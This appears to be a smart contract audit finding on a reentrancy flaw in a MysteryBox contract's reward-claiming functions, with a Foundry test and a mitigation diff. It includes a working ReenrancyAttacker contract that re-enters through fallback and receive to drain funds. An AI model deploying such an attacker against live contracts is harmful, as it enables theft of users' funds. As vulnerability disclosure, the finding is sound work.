Description
The MysteryBox::claimAllRewards and MysteryBox::claimSingleReward functions doesnt follow the CEI (checks-effects-interactions pattern) and as a result, enables anyone who has claimable rewards to drain the contract balance.
In the MysteryBox::claimAllRewards and MysteryBox::claimSingleReward functions, we first make an external call to the msg.sender to transfer the rewards. only after we delete from MysteryBox::rewardsOwned array.
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
@> (bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
@> (bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender][_index];
}
A user who has claimable rewards could have a fallback/receive function that calls the
MysteryBox::claimAllRewards or MysteryBox::claimSingleReward function again and call same function again. They would continue to the cyle till drain the contract balance.
Impact
All contract balance could be stolen by the malicious user.
Proof of Concepts
1-Attacker sets up a contract with a fallback/receive function that calls the MysteryBox::claimAllRewards or MysteryBox::claimSingleReward function.
2-Attacker buy a box and open it.
3-Attacker calls the MysteryBox::claimAllRewards or MysteryBox::claimSingleReward function from their attacker contract draining the contract balance.
Proof of Code
Place to following into TestMysteryBox.t.sol
function testReentrance() public {
ReenrancyAttacker attackerContract = new ReenrancyAttacker{value: 0.1 ether}(address(mysteryBox));
address attackUser = makeAddr("attackUser");
vm.deal(attackUser, 1 ether);
uint256 startingAttarckerBalance = address(attackerContract).balance;
uint256 startingContractBalance = address(mysteryBox).balance;
vm.prank(attackUser);
vm.warp(9001);
attackerContract.buyBox();
attackerContract.attack();
console2.log("Starting Attacker Balance:", startingAttarckerBalance);
console2.log("Starting Contract Balance:", startingContractBalance);
console2.log("ending Attacker Balance:", address(attackerContract).balance);
console2.log("ending Contract Balance:", address(mysteryBox).balance);
}
And this contact as well
contract ReenrancyAttacker {
MysteryBox public mysteryBox;
constructor(address _address) payable {
mysteryBox = MysteryBox(_address);
}
function buyBox() public payable {
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
}
function attack() public {
mysteryBox.claimAllRewards();
}
fallback() external payable {
if (address(mysteryBox).balance > 0) {
attack();
}
}
receive() external payable {
if (address(mysteryBox).balance > 0) {
attack();
}
}
}
Recommended mitigation
To prevent this, we should have the MysteryBox::claimAllRewards function update the MysteryBox::rewardsOwned array before the external call.
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
